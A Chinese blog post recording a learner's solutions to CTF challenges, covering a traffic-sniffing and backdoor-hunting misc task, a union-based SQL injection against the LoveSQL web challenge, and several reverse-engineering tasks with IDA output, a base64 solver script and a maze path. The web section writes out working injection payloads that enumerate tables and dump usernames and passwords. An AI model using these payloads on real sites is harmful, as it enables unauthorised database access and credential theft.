2.5学习记录

misc

文件中的秘密

打开附件后用随波逐流一把梭就可以了

被嗅探的流量

这题根据提示需要追踪到请求,在过滤栏输入:

php 复制代码
 http.request.method == "POST" 

在第二个包的结尾发现了

后门查杀

这个题打开附件发现一大堆,同时触发火绒监控根据提示后门密码就是flag,在vscode里面找到了

web

[极客大挑战 2019]LoveSQL

上方提示所以应该是只能手注了随便输一下发现可以交互,判断闭合方式判断应该是单引号闭合,试试万能密码发现没得到flag,但是找到了回显地址

进行联合注入发现2和3有回显位置
继续查询密码处输入1' union select 1,2,database()#
查询数据库接着爆表名1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

爆列名1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
两个表爆出来都是这个,接着爆内容

php 复制代码
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

太长了查看源码在密码最后发现flag了

re

reverse3

先查壳没壳,放进ida查看,先找到主调函数

cpp 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

这里关键是识别函数

cpp 复制代码
v4 = (const char *)sub_4110BE(Str, v3, v14)

这是一个base64加密的函数,点进去查看发现是没有换表的加密接下来去找密文

exp:

python 复制代码
import base64

str2='e3nifIH9b_C@n@dH'
flag=''

for i in range(0,len(str2)):
    flag+=chr(ord(str2[i])-i)

print("加密:{}".format(flag))
print("解密:{}".format(base64.b64decode(flag).decode('utf-8')))

happy new year

拿到附件先查壳发现upx壳,用kali脱壳找到主调函数根据函数解析,得到flag为str2

不一样的flag

查壳32位程序,没壳,用ida查看主调函数发现1234控制上下左右,说明是个迷宫问题,先确定迷宫大小根据:

c 复制代码
 if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;

判断迷宫是5*5大小

*1111

01000

01010

00010

1111#

从 *走到#号

222441144222就是flag

相关推荐
阿阳微客3 小时前
Steam 搬砖项目深度拆解:从抵触到真香的转型之路
前端·笔记·学习·游戏
Chef_Chen8 小时前
从0开始学习R语言--Day18--分类变量关联性检验
学习
键盘敲没电9 小时前
【IOS】GCD学习
学习·ios·objective-c·xcode
海的诗篇_9 小时前
前端开发面试题总结-JavaScript篇(一)
开发语言·前端·javascript·学习·面试
AgilityBaby9 小时前
UE5 2D角色PaperZD插件动画状态机学习笔记
笔记·学习·ue5
AgilityBaby9 小时前
UE5 创建2D角色帧动画学习笔记
笔记·学习·ue5
武昌库里写JAVA11 小时前
iview Switch Tabs TabPane 使用提示Maximum call stack size exceeded堆栈溢出
java·开发语言·spring boot·学习·课程设计
一弓虽12 小时前
git 学习
git·学习
Moonnnn.14 小时前
【单片机期末】串行口循环缓冲区发送
笔记·单片机·嵌入式硬件·学习
viperrrrrrrrrr714 小时前
大数据学习(131)-Hive数据分析函数总结
大数据·hive·学习